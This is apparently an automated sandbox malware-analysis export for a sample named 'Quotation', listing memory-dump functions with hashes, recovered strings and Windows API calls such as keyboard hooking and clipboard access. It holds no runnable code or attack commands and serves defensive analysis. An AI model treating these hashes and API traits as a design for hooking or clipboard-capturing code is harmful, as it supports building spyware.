Source File: 00000005.00000002.2596777509.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d0000_Quotation.jbxd

Similarity

API ID:
String ID: )9
API String ID: 0-1520043292
Opcode ID: 6c88736bd0c375c54b730a93a4a2a3af7e268b8a61b8faf7cea4452952635333
Instruction ID: 07ab4a8d925a157b73edc0116be4d443761d49a815fa3f9a444c2ad265ab0fe4
Opcode Fuzzy Hash: 6c88736bd0c375c54b730a93a4a2a3af7e268b8a61b8faf7cea4452952635333
Instruction Fuzzy Hash: D4B1B530F043548FDB28AB79985467E7BB7AFC8750B15852ED406EB384DE38DC0297A6

Function 000D3E80 Relevance: 1.5, Strings: 1, Instructions: 238COMMON

Download Yara Rule

Strings

\Vgm, xrefs: 000D40CB

Memory Dump Source

Source File: 00000005.00000002.2596777509.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d0000_Quotation.jbxd

Similarity

API ID:
String ID: \Vgm
API String ID: 0-3507608961
Opcode ID: 8d4841aa62f0452f31a17835edf3295cfd4eb802175f790cec73147f945d3b4a
Instruction ID: 5975d5e268f5dae28e5fdc4dde2d5c5035efcb8cad945d0b75238bfc07cf702b
Opcode Fuzzy Hash: 8d4841aa62f0452f31a17835edf3295cfd4eb802175f790cec73147f945d3b4a
Instruction Fuzzy Hash: E5914B70E003099FDF50CFA9C8857AEBBF2AF88304F14812AE415A7354EB749985CBA1

Function 392BC220 Relevance: .6, Instructions: 644COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2625198172.00000000392B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 392B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_392b0000_Quotation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b334adaac0636103fae4d29192fb73131f823be06580e106c44c85a8b6a6e2e6
Instruction ID: 285c4789e80698df8fb65842c227e46aa653332a9c9fb3f2b83e57b84dc9aab4
Opcode Fuzzy Hash: b334adaac0636103fae4d29192fb73131f823be06580e106c44c85a8b6a6e2e6
Instruction Fuzzy Hash: 15328134B006099FEF15DB68C995B9DBBF2FB89390F208526E405EB351DB75EC428B90

Function 392BB2BA Relevance: .6, Instructions: 566COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2625198172.00000000392B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 392B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_392b0000_Quotation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ac77a8b8161c0fba80a6a8c68deac6402d6c160a249be341b35377ce909044eb
Instruction ID: 51d0e43a838d371b179ca229875618bbb00b575b2ae02d7a6dbe609a38f5079b
Opcode Fuzzy Hash: ac77a8b8161c0fba80a6a8c68deac6402d6c160a249be341b35377ce909044eb
Instruction Fuzzy Hash: 3E226F78E0064B9FEF10CA68C59179EB7F2EB49390F60852AF445EF351DA34EC819B91

Function 000DA500 Relevance: .4, Instructions: 358COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2596777509.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d0000_Quotation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a075a0cc61c1524367b337fdfd74a9944ef9919369899fae0f67337da3d90477
Instruction ID: 2d180445eeec734334e630b0441e2c0d6bf459b4fd7816935f87055b4ac44dde
Opcode Fuzzy Hash: a075a0cc61c1524367b337fdfd74a9944ef9919369899fae0f67337da3d90477
Instruction Fuzzy Hash: D3D19E71B002058FDB54CFA8D88079EBBF1EB89310F24856AE809EB395DB75DD45CBA1

Function 000DDCA8 Relevance: .3, Instructions: 344COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2596777509.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d0000_Quotation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 654484021dcf718eed85ffa6349590f1156bc1a669789c7b4f348db72103cb3d
Instruction ID: 972de5f6c312741a540db69773d6fee175badb963b41bcfbe249ea4974b43be9
Opcode Fuzzy Hash: 654484021dcf718eed85ffa6349590f1156bc1a669789c7b4f348db72103cb3d
Instruction Fuzzy Hash: 8BC1DF31B003159FDB14DB68C880B6EBBA6EB85710F24856AE415DF395DB71EC82CBE4

Function 000D4A98 Relevance: .3, Instructions: 266COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2596777509.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d0000_Quotation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aa6c201aefc950f36d54de6c189529c6f9339e4f2ffa4877c1b32acac736a69c
Instruction ID: bb48239548b372a1543ef2184289ef07837770ad1703e5033acb887801ebbe7c
Opcode Fuzzy Hash: aa6c201aefc950f36d54de6c189529c6f9339e4f2ffa4877c1b32acac736a69c
Instruction Fuzzy Hash: 64B14E70E003098FDB50CFA9D8857ADBBF2AF88714F14852AD815EB354EB759885CBA1

Function 39795E79 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 144
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 39795F06
GetCurrentThread.KERNEL32 ref: 39795F43
GetCurrentProcess.KERNEL32 ref: 39795F80
GetCurrentThreadId.KERNEL32 ref: 39795FD9

Strings

&*6L'*6, xrefs: 3979602E

Memory Dump Source

Source File: 00000005.00000002.2625370614.0000000039790000.00000040.00000800.00020000.00000000.sdmp, Offset: 39790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_39790000_Quotation.jbxd

Similarity

API ID: Current$ProcessThread
String ID: &*6L'*6
API String ID: 2063062207-2540141361
Opcode ID: f6c48bdf5ce8413c0d34f1efd1b1a7b6b572af99f6911f179022fc011459d66e
Instruction ID: 8369e5014b1b98e5500f0c56b91eccea2235eb603734a0c25c7ee232d46633e6
Opcode Fuzzy Hash: f6c48bdf5ce8413c0d34f1efd1b1a7b6b572af99f6911f179022fc011459d66e
Instruction Fuzzy Hash: A25198B09057498FDB04CFAAD549BDEBBF1FF49310F20805AE419AB3A0D734A944CBA5

Function 39795E88 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 39795F06
GetCurrentThread.KERNEL32 ref: 39795F43
GetCurrentProcess.KERNEL32 ref: 39795F80
GetCurrentThreadId.KERNEL32 ref: 39795FD9

Strings

&*6L'*6, xrefs: 3979602E

Memory Dump Source

Source File: 00000005.00000002.2625370614.0000000039790000.00000040.00000800.00020000.00000000.sdmp, Offset: 39790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_39790000_Quotation.jbxd

Similarity

API ID: Current$ProcessThread
String ID: &*6L'*6
API String ID: 2063062207-2540141361
Opcode ID: 6b0fa691c821da67becb41fb3d1c0e4f8afdc1ddf69d0247a2da3dada9b7db01
Instruction ID: 07b4f02da4ccaeb4c8ca257b4518349c10f93a662232a56b8748457eadb16da6
Opcode Fuzzy Hash: 6b0fa691c821da67becb41fb3d1c0e4f8afdc1ddf69d0247a2da3dada9b7db01
Instruction Fuzzy Hash: 5E5146B09147098FDB54CFAAD549BDEBBF1EF48320F208059E419AB3A0D774A940CF65

Function 000D86C8 Relevance: 6.8, Strings: 5, Instructions: 586
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

p$C8, xrefs: 000D87A6
`"C8, xrefs: 000D8836
`C8, xrefs: 000D8EC8
@ C8, xrefs: 000D88BA
8C8, xrefs: 000D8EAA

Memory Dump Source

Source File: 00000005.00000002.2596777509.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d0000_Quotation.jbxd

Similarity

API ID:
String ID: 8C8$@ C8$`C8$`"C8$p$C8
API String ID: 0-1737807598
Opcode ID: 8736ad570d29e5befe62fe813fbcf4fe134cb35d1bf7b7bb10b4b01d6b8f5a9b
Instruction ID: cfa1ec9d481eb62cade97f62a0a3eda742bbe364a22faecd298863db541e2ebc
Opcode Fuzzy Hash: 8736ad570d29e5befe62fe813fbcf4fe134cb35d1bf7b7bb10b4b01d6b8f5a9b
Instruction Fuzzy Hash: 4822B2707012099BEB29DB38C45625C73E2FBCA364B208A3AE045DB741CFB5DD578BA5

Function 000D8729 Relevance: 6.8, Strings: 5, Instructions: 554
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

p$C8, xrefs: 000D87A6
`"C8, xrefs: 000D8836
`C8, xrefs: 000D8EC8
@ C8, xrefs: 000D88BA
8C8, xrefs: 000D8EAA

Memory Dump Source

Source File: 00000005.00000002.2596777509.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d0000_Quotation.jbxd

Similarity

API ID:
String ID: 8C8$@ C8$`C8$`"C8$p$C8
API String ID: 0-1737807598
Opcode ID: 8fa8f438e52e4750204c28c7cef716fc4b057852f672477d0a15931154f37ee4
Instruction ID: 413ef86656c022a8f476b4d7dcb313dd51b5e8a3b1ed1124c2c7ca998e805757
Opcode Fuzzy Hash: 8fa8f438e52e4750204c28c7cef716fc4b057852f672477d0a15931154f37ee4
Instruction Fuzzy Hash: 6412A1707012099BDB29DB38C45626C73E2FBCA365B208A3AE045DB741CFB5ED539B91

Function 000D0838 Relevance: 3.8, Strings: 3, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

5, xrefs: 000D0840
Ko, xrefs: 000D0884
#6H*6, xrefs: 000D0860, 000D088C, 000D0899

Memory Dump Source

Source File: 00000005.00000002.2596777509.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d0000_Quotation.jbxd

Similarity

API ID:
String ID: 5$ #6H*6$Ko
API String ID: 0-3163116277
Opcode ID: c0f491d5003835cf70730556fa8346c2f92887a5afee336d072aafd270354894
Instruction ID: 434ba726de85bbc548d5c96f7425ace0b1754499ed496abfba5d09f362f79bae
Opcode Fuzzy Hash: c0f491d5003835cf70730556fa8346c2f92887a5afee336d072aafd270354894
Instruction Fuzzy Hash: 9111C630B003055BEFA056B9C8143693B95EB56725F10497BD0CADB382DE64CD829FF5

Function 000DA070 Relevance: 2.6, Strings: 2, Instructions: 84
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

@1C8, xrefs: 000DA14C
@1C8, xrefs: 000DA10D

Memory Dump Source

Source File: 00000005.00000002.2596777509.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d0000_Quotation.jbxd

Similarity

API ID:
String ID: @1C8$@1C8
API String ID: 0-2510050408
Opcode ID: 6aff5b21efe736b5485921f64d074cdfefe91282724b9304d11461be4196fd4a
Instruction ID: fe5e353563e23302d542d525dba312be0f71f56e2f1da2926b383a2ed0c1540a
Opcode Fuzzy Hash: 6aff5b21efe736b5485921f64d074cdfefe91282724b9304d11461be4196fd4a
Instruction Fuzzy Hash: 7B315030E002099BDB15CFA9C85569EFBB2BF8A310F148616E405BB341EB759C46CBA1

Function 000DA080 Relevance: 2.6, Strings: 2, Instructions: 78COMMON

Download Yara Rule

Strings

@1C8, xrefs: 000DA14C
@1C8, xrefs: 000DA10D

Memory Dump Source

Source File: 00000005.00000002.2596777509.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d0000_Quotation.jbxd

Similarity

API ID:
String ID: @1C8$@1C8
API String ID: 0-2510050408
Opcode ID: de21360a55365fed47f99b0cd21c2ed61dd6355aa8d2c265d4b9c4437804f063
Instruction ID: 3eed9c145081dd6e091ed216d8a49495516854d2801834b31d60c4accd787245
Opcode Fuzzy Hash: de21360a55365fed47f99b0cd21c2ed61dd6355aa8d2c265d4b9c4437804f063
Instruction Fuzzy Hash: AE215334E002099BDB15CF69D85569EFBB2FF8A300F14C616E405BB341DB759C45CB61

Function 000D9F70 Relevance: 2.6, Strings: 2, Instructions: 76COMMON

Download Yara Rule

Strings

D0C8, xrefs: 000D9FEA
D0C8, xrefs: 000DA02B

Memory Dump Source

Source File: 00000005.00000002.2596777509.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d0000_Quotation.jbxd

Similarity

API ID:
String ID: D0C8$D0C8
API String ID: 0-2323314842
Opcode ID: eb1c83131dbce8e2e6e61365a589962fa380d9a38c0b588f2435e1e99092468b
Instruction ID: 051b3981cb250b9fb88ff7f45b393722f85f6ae65a6079aa7c8e80daf53338d5
Opcode Fuzzy Hash: eb1c83131dbce8e2e6e61365a589962fa380d9a38c0b588f2435e1e99092468b
Instruction Fuzzy Hash: 46215130E103199BCB14CFA4D45069EB7B2BF89300F20862BE815F7351EB74AD45CB61

Function 000D9F80 Relevance: 2.6, Strings: 2, Instructions: 70COMMON

Download Yara Rule

Strings

D0C8, xrefs: 000D9FEA
D0C8, xrefs: 000DA02B

Memory Dump Source

Source File: 00000005.00000002.2596777509.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d0000_Quotation.jbxd

Similarity

API ID:
String ID: D0C8$D0C8
API String ID: 0-2323314842
Opcode ID: 9e90d742aee3e89e3e25fb280a9af45bd0d5914fcb6175a6d8cf9bbdc1c49b44
Instruction ID: fa71cab97205253fa91e5b71ef21fd2e0e7d11cd4f9b06c3a8964975efc425a5
Opcode Fuzzy Hash: 9e90d742aee3e89e3e25fb280a9af45bd0d5914fcb6175a6d8cf9bbdc1c49b44
Instruction Fuzzy Hash: 05213030E103199BCB14CFA4D85069EBBB2BF89300F20862BE915F7350EB7498458B61

Function 000D0848 Relevance: 2.6, Strings: 2, Instructions: 62COMMON

Download Yara Rule

Strings

Ko, xrefs: 000D0884
#6H*6, xrefs: 000D0860, 000D088C, 000D0899

Memory Dump Source

Source File: 00000005.00000002.2596777509.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d0000_Quotation.jbxd

Similarity

API ID:
String ID: #6H*6$Ko
API String ID: 0-4254942743
Opcode ID: 6a4bc712b8af1c5dd784f552ef6db9ad9ac2cda1485a25f1a18a462fd0f309b7
Instruction ID: 0cd7f9bf580c7ba168a27718a3c1f94dbd6db9e897c549f9780164fb116cf89a
Opcode Fuzzy Hash: 6a4bc712b8af1c5dd784f552ef6db9ad9ac2cda1485a25f1a18a462fd0f309b7
Instruction Fuzzy Hash: 93119430B003099BEFA49679C85476937D2EB99721F10497BD08ACB352DE65CC829BE5

Function 000DECC8 Relevance: 1.6, Strings: 1, Instructions: 397COMMON

Download Yara Rule

Strings

PJ'q, xrefs: 000DF079

Memory Dump Source

Source File: 00000005.00000002.2596777509.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d0000_Quotation.jbxd

Similarity

API ID:
String ID: PJ'q
API String ID: 0-1786981223
Opcode ID: fb2e6667920cdfd8e2ce7931d947f65f9c92cde58cdf7f8f16159e3397ef74fe
Instruction ID: 5a50a94679cc1c91e06f18c3aa441fc033c9b2072ed28ea0e826c021fbf1c921
Opcode Fuzzy Hash: fb2e6667920cdfd8e2ce7931d947f65f9c92cde58cdf7f8f16159e3397ef74fe
Instruction Fuzzy Hash: 27E14B34A00359CFDB64DB69C490AADBBF2BF89710F20852AE406EB351CB35DD46DB61

Function 39792372 Relevance: 1.6, APIs: 1, Instructions: 114COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 3979248A

Memory Dump Source

Source File: 00000005.00000002.2625370614.0000000039790000.00000040.00000800.00020000.00000000.sdmp, Offset: 39790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_39790000_Quotation.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 778d5f65fc07e4360387260542b1a8b3a8524d48919e1a61a76927dabefc6119
Instruction ID: 44bf89a0abaad78bb32e318eaf5ca551737102ec54a9a074c278410e70bb7ca2
Opcode Fuzzy Hash: 778d5f65fc07e4360387260542b1a8b3a8524d48919e1a61a76927dabefc6119
Instruction Fuzzy Hash: 6451C0B5D103499FDB14CFAAD884ADEBFB1FF48314F24812AE418AB250D775A845CF91

Function 39792378 Relevance: 1.6, APIs: 1, Instructions: 113COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 3979248A

Memory Dump Source

Source File: 00000005.00000002.2625370614.0000000039790000.00000040.00000800.00020000.00000000.sdmp, Offset: 39790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_39790000_Quotation.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: e84eeb3f5edaa95a72308c1e99160edec2b8779f90701a070c9b14d8c580b827
Instruction ID: 671a157de696ea7710713b925b4c26884cf7143b55b01e3db51d38d8eba9e42e
Opcode Fuzzy Hash: e84eeb3f5edaa95a72308c1e99160edec2b8779f90701a070c9b14d8c580b827
Instruction Fuzzy Hash: 3A41C0B5D103099FDB14CF9AD884ADEBFB5FF48314F20812AE418AB250D775A885CF91

Function 39795CBC Relevance: 1.6, APIs: 1, Instructions: 97COMMON

Download Yara Rule

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 39797029

Memory Dump Source

Source File: 00000005.00000002.2625370614.0000000039790000.00000040.00000800.00020000.00000000.sdmp, Offset: 39790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_39790000_Quotation.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: 379ce039468e29a037a233129bfe25a9c07665055f92aaa7f2c6b65a53f02144
Instruction ID: 34b9f630177ca341403e3018ad0e5758529ef062f1fbdea79e9976bebaf4c9df
Opcode Fuzzy Hash: 379ce039468e29a037a233129bfe25a9c07665055f92aaa7f2c6b65a53f02144
Instruction Fuzzy Hash: 8A4138B4910309CFDB10CF59D484BEABBF5FB88314F248459E518AB360D775A941CBA1

Function 39797250 Relevance: 1.6, APIs: 1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2625370614.0000000039790000.00000040.00000800.00020000.00000000.sdmp, Offset: 39790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_39790000_Quotation.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: a964c7c5668a4b9c3d47d6ca30c682aafad3b8287b6ab793cb544a1fdaf33ef3
Instruction ID: a468bd07a4a7bfa9c554c609a78378b4b1ee3a883528fbaa5ab827844ae303f3
Opcode Fuzzy Hash: a964c7c5668a4b9c3d47d6ca30c682aafad3b8287b6ab793cb544a1fdaf33ef3
Instruction Fuzzy Hash: C421AC759253888FDB20CFAED5817DEBBF4EB09324F10446AE449EB791C375A844CBA1

Function 39797CA4 Relevance: 1.6, APIs: 1, Instructions: 74comclipboardCOMMON

Download Yara Rule

APIs

OleGetClipboard.OLE32(?), ref: 39797D38

Memory Dump Source

Source File: 00000005.00000002.2625370614.0000000039790000.00000040.00000800.00020000.00000000.sdmp, Offset: 39790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_39790000_Quotation.jbxd

Similarity

API ID: Clipboard
String ID:
API String ID: 220874293-0
Opcode ID: d7d982e9192434255ae378948de0963ddacaa44e20d61536df132f63f3a49643
Instruction ID: 65fd208b55d56c60e0d79dd3f90266bc7e0e362a530a6ea5e675dff53ca5f1d3
Opcode Fuzzy Hash: d7d982e9192434255ae378948de0963ddacaa44e20d61536df132f63f3a49643
Instruction Fuzzy Hash: 0331CFB0911248DFEB14CFA9D984BDEBBB5BB48304F248469E404AB290D7B5A985CF51

Function 39797CB0 Relevance: 1.6, APIs: 1, Instructions: 71comclipboardCOMMON

Download Yara Rule

APIs

OleGetClipboard.OLE32(?), ref: 39797D38

Memory Dump Source

Source File: 00000005.00000002.2625370614.0000000039790000.00000040.00000800.00020000.00000000.sdmp, Offset: 39790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_39790000_Quotation.jbxd

Similarity

API ID: Clipboard
String ID:
API String ID: 220874293-0
Opcode ID: f88a3fcc892daeea18c5f2331f85d8eb17c737a3952255621406bc202f7f59e1
Instruction ID: 0225039395c3e1e19f107ef7293fd2a588bf01c70044fb2c5b1b669fe2eae38f
Opcode Fuzzy Hash: f88a3fcc892daeea18c5f2331f85d8eb17c737a3952255621406bc202f7f59e1
Instruction Fuzzy Hash: 0B31DEB0911248DFEB14CF99D984BDEBBB5BF48314F208059E404AB390DBB5A885CFA1

Function 397960C8 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 39796157

Memory Dump Source

Source File: 00000005.00000002.2625370614.0000000039790000.00000040.00000800.00020000.00000000.sdmp, Offset: 39790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_39790000_Quotation.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 5c52e0ba351c3bd42e797587d8c7af5aaaf5af33357a941e772e37f0bbfa27b8
Instruction ID: 713731881f3f166bb2ecda45f7eea49a4b283a6d66f13d3223057f640310e352
Opcode Fuzzy Hash: 5c52e0ba351c3bd42e797587d8c7af5aaaf5af33357a941e772e37f0bbfa27b8
Instruction Fuzzy Hash: C921E5B59002489FDB10CFAAD884ADEFFF5FB48324F14845AE958A7350D374A950CFA5

Function 397960D0 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 39796157

Memory Dump Source

Source File: 00000005.00000002.2625370614.0000000039790000.00000040.00000800.00020000.00000000.sdmp, Offset: 39790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_39790000_Quotation.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 2bd390b7b22f5a1236987b4bfb8c34398e6e7f47f7f19cf95a57986aa9af379b
Instruction ID: 8bf087c053c6b0bfdc60d9e4adbc37c320a83480302ef99931e38ee6b86531a1
Opcode Fuzzy Hash: 2bd390b7b22f5a1236987b4bfb8c34398e6e7f47f7f19cf95a57986aa9af379b
Instruction Fuzzy Hash: F721C2B5D00248AFDB10CFAAD984ADEFBF4FB48324F14841AE958A7350D374A950CFA5

Function 397997EC Relevance: 1.6, APIs: 1, Instructions: 60COMMON

Download Yara Rule

APIs

SetWindowsHookExA.USER32(?,00000000,?,?), ref: 3979986B

Memory Dump Source

Source File: 00000005.00000002.2625370614.0000000039790000.00000040.00000800.00020000.00000000.sdmp, Offset: 39790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_39790000_Quotation.jbxd

Similarity

API ID: HookWindows
String ID:
API String ID: 2559412058-0
Opcode ID: bf07f4c3d5c6409a365b5c97b4d2de161120f76e2de79f538208fffe34d19a89
Instruction ID: 3a04e42d7f3ea69bd334c9e68ef28eb406e255de6f7c5a4ac43c35c7ef1e1e47
Opcode Fuzzy Hash: bf07f4c3d5c6409a365b5c97b4d2de161120f76e2de79f538208fffe34d19a89
Instruction Fuzzy Hash: C82107B5D002099FDB14CF9AD844BDEBBF5EB88320F10842AE459A7290C774A940CFA5

Function 397997F0 Relevance: 1.6, APIs: 1, Instructions: 57COMMON

Download Yara Rule

APIs

SetWindowsHookExA.USER32(?,00000000,?,?), ref: 3979986B

Memory Dump Source

Source File: 00000005.00000002.2625370614.0000000039790000.00000040.00000800.00020000.00000000.sdmp, Offset: 39790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_39790000_Quotation.jbxd

Similarity

API ID: HookWindows
String ID:
API String ID: 2559412058-0
Opcode ID: cfdaad679e5aa7732ac20bd94e962d595cc3c09ad492b1e9363286615dfdc32f
Instruction ID: f902a8748ac86fc5cf1fcd9f01ec9d161cc613f1a52b366e6df271d77dc4c3b1
Opcode Fuzzy Hash: cfdaad679e5aa7732ac20bd94e962d595cc3c09ad492b1e9363286615dfdc32f
Instruction Fuzzy Hash: EF21E4B5D002099FDB14CFAAD844BEEBBF5EB88310F10842AE459A7290C774A940CFA5

Function 39795D14 Relevance: 1.5, APIs: 1, Instructions: 46COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,?,?,?,?,?,?,?,?,39797275), ref: 397972FF

Memory Dump Source

Source File: 00000005.00000002.2625370614.0000000039790000.00000040.00000800.00020000.00000000.sdmp, Offset: 39790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_39790000_Quotation.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 3704973fffacc68c787958c863e02b01bb2a699268590c689047d0fe3b37df8c
Instruction ID: a8743d5e8deddcf104dd8b6ab11cb1e127a4a3fbab9c0134c89250ae0f3a8577
Opcode Fuzzy Hash: 3704973fffacc68c787958c863e02b01bb2a699268590c689047d0fe3b37df8c
Instruction Fuzzy Hash: 9F1133B18003488FCB20CF9AD445BDEBBF4EB48324F20845AE918A7740D374A940CFA5

Function 39795E6C Relevance: 1.5, APIs: 1, Instructions: 46comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 39797BBD

Memory Dump Source

Source File: 00000005.00000002.2625370614.0000000039790000.00000040.00000800.00020000.00000000.sdmp, Offset: 39790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_39790000_Quotation.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 989c61b236e65408d3cf03cfe89c1186eee8506128ac1361c2d79bf564cdbb0e
Instruction ID: 9d8ed3b9a8b5e6079391e2d2bffb1fa8930b0c4bd8074f80fe4de61c580d214c
Opcode Fuzzy Hash: 989c61b236e65408d3cf03cfe89c1186eee8506128ac1361c2d79bf564cdbb0e
Instruction Fuzzy Hash: 121142B1C007488FDB20CFAAD445BDEBBF4EB48324F20846AE559A7740D374A940CFA9

Function 39797B67 Relevance: 1.5, APIs: 1, Instructions: 43comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 39797BBD

Memory Dump Source

Source File: 00000005.00000002.2625370614.0000000039790000.00000040.00000800.00020000.00000000.sdmp, Offset: 39790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_39790000_Quotation.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 3288b7ce7032944fedac362ed27c1569a1700dec8797398ae7dd83d2016c9bf7
Instruction ID: cbdeca0249c3ddd9d0bc7ffef3ddc0d8bf58367c1f61bdfc0f0526ac56a04af2
Opcode Fuzzy Hash: 3288b7ce7032944fedac362ed27c1569a1700dec8797398ae7dd83d2016c9bf7
Instruction Fuzzy Hash: 28110DB5C003488FDB20CFAAD485BDEBBF4EB48324F20846AD559A7740D378A940CFA5

Function 000D3E74 Relevance: 1.5, Strings: 1, Instructions: 237COMMON

Download Yara Rule

Strings

\Vgm, xrefs: 000D40CB

Memory Dump Source

Source File: 00000005.00000002.2596777509.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d0000_Quotation.jbxd

Similarity

API ID:
String ID: \Vgm
API String ID: 0-3507608961
Opcode ID: 288443a97b02e70b1bb1b86982358282b20e4f3eef6db88478817a03b3d252ce
Instruction ID: b01e70e4212130140c72797a75b048c8cbad7b0b334ce8530a143552fba3738f
Opcode Fuzzy Hash: 288443a97b02e70b1bb1b86982358282b20e4f3eef6db88478817a03b3d252ce
Instruction Fuzzy Hash: E1913970E00309DFDB60CFA9D8857EEBBF1AF48714F14812AE415A7354EB749985CBA2

Function 000D1382 Relevance: 1.3, Strings: 1, Instructions: 71COMMON

Download Yara Rule

Strings

H*6, xrefs: 000D13AF, 000D13ED

Memory Dump Source

Source File: 00000005.00000002.2596777509.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d0000_Quotation.jbxd

Similarity

API ID:
String ID: H*6
API String ID: 0-3622659372
Opcode ID: d5d4679c3156d889505fd0b3bd2446fa57ca1709096868c5379589af6253dd82
